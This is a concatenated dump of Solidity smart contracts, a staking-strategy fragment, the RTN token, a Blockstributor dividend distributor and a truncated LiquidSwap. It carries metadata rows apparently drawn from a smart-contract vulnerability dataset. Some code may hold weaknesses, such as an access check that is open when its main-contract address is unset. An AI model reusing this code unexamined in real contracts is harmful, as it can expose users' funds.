OvnMath.subBasisPoints(usdcBalance, BASIS_POINTS_FOR_SLIPPAGE),
OvnMath.subBasisPoints(tusdBalance, BASIS_POINTS_FOR_SLIPPAGE),
address(this));
uint256 lpTokenBalance = dystPair.balanceOf(address(this));
dystPair.approve(address(userProxy), lpTokenBalance);
userProxy.depositLpAndStake(address(dystPair), lpTokenBalance);
}
function _unstake(address _asset,
uint256 _amount,
address _beneficiary) internal override returns (uint256) {
require(_asset == address(usdcToken), "Some token not compatible");
uint256 currentUsdcBalance = usdcToken.balanceOf(address(this));
if(currentUsdcBalance >= _amount)
return _amount;
(uint256 reserveUsdc, uint256 reserveTusd,) = dystPair.getReserves();
require(reserveUsdc > 10 ** 3 && reserveTusd > 10 ** 15, 'Liquidity lpToken reserves too low');
// Fetch amount of penPool LP currently staked
address userProxyThis = penLens.userProxyByAccount(address(this));
address stakingAddress = penLens.stakingRewardsByDystPool(address(dystPair));
uint256 lpTokenBalance = IERC20(stakingAddress).balanceOf(userProxyThis);
if (lpTokenBalance > 0) {
// count amount to unstake
uint256 totalLpBalance = dystPair.totalSupply();
uint256 lpTokensToWithdraw = _getAmountLpTokens(OvnMath.addBasisPoints(_amount, BASIS_POINTS_FOR_SLIPPAGE) + 10,
reserveUsdc,
reserveTusd,
totalLpBalance);
if (lpTokensToWithdraw > lpTokenBalance) {
lpTokensToWithdraw = lpTokenBalance;
}
userProxy.unstakeLpAndWithdraw(address(dystPair), lpTokensToWithdraw);
uint256 unstakedLPTokenBalance = dystPair.balanceOf(address(this));
// remove liquidity
_removeLiquidity(address(usdcToken),
address(tusdToken),
address(dystPair),
unstakedLPTokenBalance,
0,
0,
address(this));
}
// swap tusd to usdc
uint256 tusdBalance = tusdToken.balanceOf(address(this));
if (tusdBalance > 0) {
tusdToken.approve(curveMetaPool, tusdBalance);
CurveMetaLibrary.swapByIndex(curveIndexTusd,
curveIndexUsdc,
true,
tusdBalance,
0,
curveMetaPool,
curveStablePool);
}
return usdcToken.balanceOf(address(this));
}
function _unstakeFull(address _asset,
address _beneficiary) internal override returns (uint256) {
require(_asset == address(usdcToken), "Some token not compatible");
(uint256 reserveUsdc, uint256 reserveTusd,) = dystPair.getReserves();
require(reserveUsdc > 10 ** 3 && reserveTusd > 10 ** 15, 'Liquidity lpToken reserves too low');
// Fetch amount of penPool LP currently staked
address userProxyThis = penLens.userProxyByAccount(address(this));
address stakingAddress = penLens.stakingRewardsByDystPool(address(dystPair));
uint256 lpTokenBalance = IERC20(stakingAddress).balanceOf(userProxyThis);
if (lpTokenBalance == 0) {
return usdcToken.balanceOf(address(this));
}
userProxy.unstakeLpAndWithdraw(address(dystPair), lpTokenBalance);
uint256 unstakedLPTokenBalance = dystPair.balanceOf(address(this));
if (unstakedLPTokenBalance > 0) {
uint256 totalLpBalance = dystPair.totalSupply();
// remove liquidity
_removeLiquidity(address(usdcToken),
address(tusdToken),
address(dystPair),
unstakedLPTokenBalance,
0,
0,
address(this));
}
// swap tusd to usdc
uint256 tusdBalance = tusdToken.balanceOf(address(this));
if (tusdBalance > 0) {
tusdToken.approve(curveMetaPool, tusdBalance);
CurveMetaLibrary.swapByIndex(curveIndexTusd,
curveIndexUsdc,
true,
tusdBalance,
0,
curveMetaPool,
curveStablePool);
}
return usdcToken.balanceOf(address(this));
}
function netAssetValue() external view override returns (uint256) {
return _totalValue(true);
}
function liquidationValue() external view override returns (uint256) {
return _totalValue(false);
}
function _totalValue(bool nav) internal view returns (uint256) {
uint256 usdcBalance = usdcToken.balanceOf(address(this));
uint256 tusdBalance = tusdToken.balanceOf(address(this));
// Fetch amount of penPool LP currently staked
address userProxyThis = penLens.userProxyByAccount(address(this));
address stakingAddress = penLens.stakingRewardsByDystPool(address(dystPair));
uint256 lpTokenBalance = IERC20(stakingAddress).balanceOf(userProxyThis);
if (lpTokenBalance > 0) {
uint256 totalLpBalance = dystPair.totalSupply();
(uint256 reserveUsdc, uint256 reserveTusd,) = dystPair.getReserves();
usdcBalance += reserveUsdc * lpTokenBalance / totalLpBalance;
tusdBalance += reserveTusd * lpTokenBalance / totalLpBalance;
}
uint256 usdcBalanceFromTusd;
if (tusdBalance > 0) {
if (nav) {
usdcBalanceFromTusd = ChainlinkLibrary.convertTokenToToken(tusdBalance,
tusdTokenDenominator,
usdcTokenDenominator,
oracleTusd,
oracleUsdc);
} else {
usdcBalanceFromTusd = _getAmountsOut(address(tusdToken), address(usdcToken), true, tusdBalance);
}
}
return usdcBalance + usdcBalanceFromTusd;
}
function _claimRewards(address _to) internal override returns (uint256) {
// claim rewards
address userProxyThis = penLens.userProxyByAccount(address(this));
address stakingAddress = penLens.stakingRewardsByDystPool(address(dystPair));
uint256 lpTokenBalance = IERC20(stakingAddress).balanceOf(userProxyThis);
if (lpTokenBalance > 0) {
userProxy.claimStakingRewards();
}
// sell rewards
uint256 totalUsdc;
uint256 dystBalance = dystToken.balanceOf(address(this));
if (dystBalance > 0) {
uint256 dystUsdc = _swapExactTokensForTokens(address(dystToken),
address(wmaticToken),
address(usdcToken),
false,
false,
dystBalance,
address(this));
totalUsdc += dystUsdc;
}
uint256 penBalance = penToken.balanceOf(address(this));
if (penBalance > 0) {
uint256 penUsdc = _swapExactTokensForTokens(address(penToken),
address(wmaticToken),
address(usdcToken),
false,
false,
penBalance,
address(this));
totalUsdc += penUsdc;
}
usdcToken.transfer(_to, totalUsdc);
return totalUsdc;
}
function _getAmountLpTokens(uint256 amount0Total,
uint256 reserve0,
uint256 reserve1,
uint256 totalLpBalance) internal view returns (uint256) {
uint256 lpBalance = (totalLpBalance * amount0Total * tusdTokenDenominator) / (reserve0 * tusdTokenDenominator + reserve1 * usdcTokenDenominator);
uint256 amount1 = reserve1 * lpBalance / totalLpBalance;
uint256 amount0 = _getAmountsOut(address(tusdToken), address(usdcToken), true, amount1);
lpBalance = (totalLpBalance * amount0Total * amount1) / (reserve0 * amount1 + reserve1 * amount0);
return lpBalance;
}
function _getAmountToken0(uint256 amount0Total,
uint256 reserve0,
uint256 reserve1,
uint256 denominator0,
uint256 denominator1,
uint256 precision,
address token0,
address token1) internal view returns (uint256) {
uint256 amount0 = (amount0Total * reserve1) / (reserve0 * denominator1 / denominator0 + reserve1);
for (uint i = 0; i < precision; i++) {
ISwapper.SwapParams memory swapParams = ISwapper.SwapParams(token0,
token1,
amount0,
OvnMath.subBasisPoints(amount0*(10**12), BASIS_POINTS_FOR_SLIPPAGE_EIGHT),
1);
uint256 amount1 = swapper.getAmountOut(swapParams);
amount0 = (amount0Total * reserve1) / (reserve0 * amount1 / amount0 + reserve1);
}
return amount0;
}
}
| 7,776 | 11,332 |
be4d8267573e4f3cd10db2ace06b108dd9318264502c94e3c68c3938f755985d
| 13,582 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x973ef713673f3bc26a712450eb2d6b1ce534821a.sol
| 3,483 | 13,379 |
pragma solidity ^0.4.22;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
newOwner = address(0);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyNewOwner() {
require(msg.sender != address(0));
require(msg.sender == newOwner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public onlyNewOwner returns(bool) {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
interface TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract RTNToken is ERC20, Ownable, Pausable {
using SafeMath for uint256;
struct LockupInfo {
uint256 releaseTime;
uint256 termOfRound;
uint256 unlockAmountPerRound;
uint256 lockupBalance;
}
string public name;
string public symbol;
uint8 constant public decimals =18;
uint256 internal initialSupply;
uint256 internal totalSupply_;
uint256 internal mintCap;
mapping(address => uint256) internal balances;
mapping(address => bool) internal locks;
mapping(address => bool) public frozen;
mapping(address => mapping(address => uint256)) internal allowed;
mapping(address => LockupInfo[]) internal lockupInfo;
event Lock(address indexed holder, uint256 value);
event Unlock(address indexed holder, uint256 value);
event Burn(address indexed owner, uint256 value);
event Mint(uint256 value);
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozen[_holder]);
_;
}
constructor() public {
name = "RTN Token";
symbol = "RTN";
initialSupply = 1000000000; //1,000,000,000
totalSupply_ = initialSupply * 10 ** uint(decimals);
mintCap = 3000000000 * 10 ** uint(decimals); //3,000,000,000
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
//
function () public payable {
revert();
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public whenNotPaused notFrozen(msg.sender) returns (bool) {
if (locks[msg.sender]) {
autoUnlock(msg.sender);
}
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
if(locks[_holder]) {
for(uint256 idx = 0; idx < lockupInfo[_holder].length ; idx++) {
lockedBalance = lockedBalance.add(lockupInfo[_holder][idx].lockupBalance);
}
}
return balances[_holder] + lockedBalance;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused notFrozen(_from)returns (bool) {
if (locks[_from]) {
autoUnlock(_from);
}
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
require(isContract(_spender));
TokenRecipient spender = TokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
allowed[msg.sender][spender] = (allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
allowed[msg.sender][spender] = (allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
function lock(address _holder, uint256 _amount, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) {
require(balances[_holder] >= _amount);
if(_termOfRound==0) {
_termOfRound = 1;
}
balances[_holder] = balances[_holder].sub(_amount);
lockupInfo[_holder].push(LockupInfo(_releaseStart, _termOfRound, _amount.div(100).mul(_releaseRate), _amount));
locks[_holder] = true;
emit Lock(_holder, _amount);
return true;
}
function unlock(address _holder, uint256 _idx) public onlyOwner returns (bool) {
require(locks[_holder]);
require(_idx < lockupInfo[_holder].length);
LockupInfo storage lockupinfo = lockupInfo[_holder][_idx];
uint256 releaseAmount = lockupinfo.lockupBalance;
delete lockupInfo[_holder][_idx];
lockupInfo[_holder][_idx] = lockupInfo[_holder][lockupInfo[_holder].length.sub(1)];
lockupInfo[_holder].length -=1;
if(lockupInfo[_holder].length == 0) {
locks[_holder] = false;
}
emit Unlock(_holder, releaseAmount);
balances[_holder] = balances[_holder].add(releaseAmount);
return true;
}
function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
function unfreezeAccount(address _holder) public onlyOwner returns (bool) {
require(frozen[_holder]);
frozen[_holder] = false;
emit Unfreeze(_holder);
return true;
}
function getNowTime() public view returns(uint256) {
return now;
}
function showLockState(address _holder, uint256 _idx) public view returns (bool, uint256, uint256, uint256, uint256, uint256) {
if(locks[_holder]) {
return (locks[_holder],
lockupInfo[_holder].length,
lockupInfo[_holder][_idx].lockupBalance,
lockupInfo[_holder][_idx].releaseTime,
lockupInfo[_holder][_idx].termOfRound,
lockupInfo[_holder][_idx].unlockAmountPerRound);
} else {
return (locks[_holder],
lockupInfo[_holder].length,
0,0,0,0);
}
}
function distribute(address _to, uint256 _value) public onlyOwner returns (bool) {
require(_to != address(0));
require(_value <= balances[owner]);
balances[owner] = balances[owner].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(owner, _to, _value);
return true;
}
function distributeWithLockup(address _to, uint256 _value, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) {
distribute(_to, _value);
lock(_to, _value, _releaseStart, _termOfRound, _releaseRate);
return true;
}
function claimToken(ERC20 token, address _to, uint256 _value) public onlyOwner returns (bool) {
token.transfer(_to, _value);
return true;
}
function burn(uint256 _value) public onlyOwner returns (bool success) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {
require(mintCap >= totalSupply_.add(_amount));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly{size := extcodesize(addr)}
return size > 0;
}
function autoUnlock(address _holder) internal returns (bool) {
for(uint256 idx =0; idx < lockupInfo[_holder].length ; idx++) {
if(locks[_holder]==false) {
return true;
}
if (lockupInfo[_holder][idx].releaseTime <= now) {
// If lockupinfo was deleted, loop restart at same position.
if(releaseTimeLock(_holder, idx)) {
idx -=1;
}
}
}
return true;
}
function releaseTimeLock(address _holder, uint256 _idx) internal returns(bool) {
require(locks[_holder]);
require(_idx < lockupInfo[_holder].length);
// If lock status of holder is finished, delete lockup info.
LockupInfo storage info = lockupInfo[_holder][_idx];
uint256 releaseAmount = info.unlockAmountPerRound;
uint256 sinceFrom = now.sub(info.releaseTime);
uint256 sinceRound = sinceFrom.div(info.termOfRound);
releaseAmount = releaseAmount.add(sinceRound.mul(info.unlockAmountPerRound));
if(releaseAmount >= info.lockupBalance) {
releaseAmount = info.lockupBalance;
delete lockupInfo[_holder][_idx];
lockupInfo[_holder][_idx] = lockupInfo[_holder][lockupInfo[_holder].length.sub(1)];
lockupInfo[_holder].length -=1;
if(lockupInfo[_holder].length == 0) {
locks[_holder] = false;
}
emit Unlock(_holder, releaseAmount);
balances[_holder] = balances[_holder].add(releaseAmount);
return true;
} else {
lockupInfo[_holder][_idx].releaseTime = lockupInfo[_holder][_idx].releaseTime.add(sinceRound.add(1).mul(info.termOfRound));
lockupInfo[_holder][_idx].lockupBalance = lockupInfo[_holder][_idx].lockupBalance.sub(releaseAmount);
emit Unlock(_holder, releaseAmount);
balances[_holder] = balances[_holder].add(releaseAmount);
return false;
}
}
}
| 202,296 | 11,333 |
c6c9d3d070f668f420c318dd678a92a9eafb782e087eea85497dea1c50f8e864
| 18,783 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/63/6342a1b653b3af033766c4cd909dbd46fc1ff16c_Blockstributor.sol
| 3,118 | 12,910 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IBlockstributor {
function startBlockstribution() external;
function setBlockstributionParameters(uint256 _minPeriod, uint256 _minDistribution, uint256 _gas) external;
function setShares(address shareholder, uint256 amount) external;
function process() external;
function deposit() external payable;
function claim(address shareholder) external;
function getUnpaidRewards(address shareholder) external view returns (uint256);
function getPaidRewards(address shareholder) external view returns (uint256);
function getClaimTime(address shareholder) external view returns (uint256);
function countShareholders() external view returns (uint256);
function getTotalRewards() external view returns (uint256);
function getTotalRewarded() external view returns (uint256);
function migrate(address distributor) external;
}
contract Blockstributor is IBlockstributor {
address mainContract;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}
IERC20 TOKEN;
address WETH;
IDEXRouter router;
address[] shareholders;
mapping (address => uint256) shareholderIndexes;
mapping (address => uint256) shareholderClaims;
mapping (address => Share) public shares;
uint256 public totalShares;
uint256 public totalRewards;
uint256 public totalRewarded;
uint256 public rewardsPerShare;
uint256 public rewardsPerShareAccuracyFactor = 10 ** 36;
uint256 public minPeriod = 1 hours;
uint256 public minDistribution = 1 * (10 ** 18);
uint256 public gas = 500000;
uint256 currentIndex;
bool public initialized;
modifier initialization() {
require(!initialized);
_;
initialized = true;
}
modifier onlyMain() {
require(msg.sender == mainContract || mainContract == address(0)); _;
}
constructor (address routerAddress, address reflectToken, address _mainContract) {
router = IDEXRouter(routerAddress);
WETH = router.WETH();
mainContract = _mainContract;
TOKEN = IERC20(reflectToken);
}
function startBlockstribution() external override initialization onlyMain {
rewardsPerShare = (rewardsPerShareAccuracyFactor * TOKEN.balanceOf(address(this))) / totalShares;
}
function migrate(address distributor) external override onlyMain {
Blockstributor blockstributor = Blockstributor(distributor);
require(!blockstributor.initialized());
TOKEN.transfer(distributor, TOKEN.balanceOf(address(this)));
}
function setBlockstributionParameters(uint256 _minPeriod, uint256 _minDistribution, uint256 _gas) external override onlyMain {
minPeriod = _minPeriod;
minDistribution = _minDistribution;
gas = _gas;
}
function setShares(address shareholder, uint256 amount) external override onlyMain {
if(amount > 0 && shares[shareholder].amount == 0){
addShareholder(shareholder);
}else if(amount == 0 && shares[shareholder].amount > 0){
removeShareholder(shareholder);
}
if(shares[shareholder].amount > 0){
distributeDividend(shareholder);
}
totalShares = (totalShares - shares[shareholder].amount) + amount;
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getCumulativeDividends(amount);
}
function deposit() external override payable {
uint256 balanceBefore = TOKEN.balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = WETH;
path[1] = address(TOKEN);
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: msg.value}(0,
path,
address(this),
block.timestamp);
uint256 amount = TOKEN.balanceOf(address(this)) - balanceBefore;
totalRewards = totalRewards + amount;
if(initialized)
rewardsPerShare = rewardsPerShare + (rewardsPerShareAccuracyFactor * amount) / totalShares;
}
function process() public override onlyMain {
uint256 shareholderCount = shareholders.length;
if(shareholderCount == 0) { return; }
uint256 gasUsed = 0;
uint256 gasLeft = gasleft();
uint256 iterations = 0;
while(gasUsed < gas && iterations < shareholderCount) {
if(currentIndex >= shareholderCount){
currentIndex = 0;
}
if(shouldDistribute(shareholders[currentIndex])){
distributeDividend(shareholders[currentIndex]);
}
gasUsed = gasUsed + (gasLeft - gasleft());
gasLeft = gasleft();
currentIndex++;
iterations++;
}
}
function shouldDistribute(address shareholder) internal view returns (bool) {
return shareholderClaims[shareholder] + minPeriod < block.timestamp
&& getUnpaidRewards(shareholder) > minDistribution;
}
function getClaimTime(address shareholder) external view override returns (uint256) {
if (shareholderClaims[shareholder] + minPeriod <= block.timestamp)
return 0;
else
return (shareholderClaims[shareholder] + minPeriod) - block.timestamp;
}
function distributeDividend(address shareholder) internal {
if(shares[shareholder].amount == 0){ return; }
uint256 unpaidEarnings = getUnpaidRewards(shareholder);
if(unpaidEarnings > 0){
totalRewarded = totalRewarded + unpaidEarnings;
shareholderClaims[shareholder] = block.timestamp;
shares[shareholder].totalRealised = shares[shareholder].totalRealised + unpaidEarnings;
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
TOKEN.transfer(shareholder, unpaidEarnings);
}
}
function claim(address shareholder) external override onlyMain {
distributeDividend(shareholder);
}
function getUnpaidRewards(address shareholder) public view override onlyMain returns (uint256) {
if(shares[shareholder].amount == 0){ return 0; }
uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; }
return shareholderTotalDividends - shareholderTotalExcluded;
}
function getPaidRewards(address shareholder) external view override onlyMain returns (uint256) {
return shares[shareholder].totalRealised;
}
function getCumulativeDividends(uint256 share) internal view returns (uint256) {
if(share == 0){ return 0; }
return (share * rewardsPerShare) / rewardsPerShareAccuracyFactor;
}
function countShareholders() external view override onlyMain returns (uint256) {
return shareholders.length;
}
function getTotalRewards() external view override returns (uint256) {
return totalRewards;
}
function getTotalRewarded() external view override returns (uint256) {
return totalRewarded;
}
function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}
function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1];
shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder];
shareholders.pop();
}
}
| 34,816 | 11,334 |
593c2b53af9ab7fca945548fccafff782ef927eb654f3e0d213f48f81658d50b
| 29,497 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/dd/dDd620B5C5d89ec2267BfbFbCbe7CA1f664c57be_LiquidSwap.sol
| 5,199 | 18,740 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
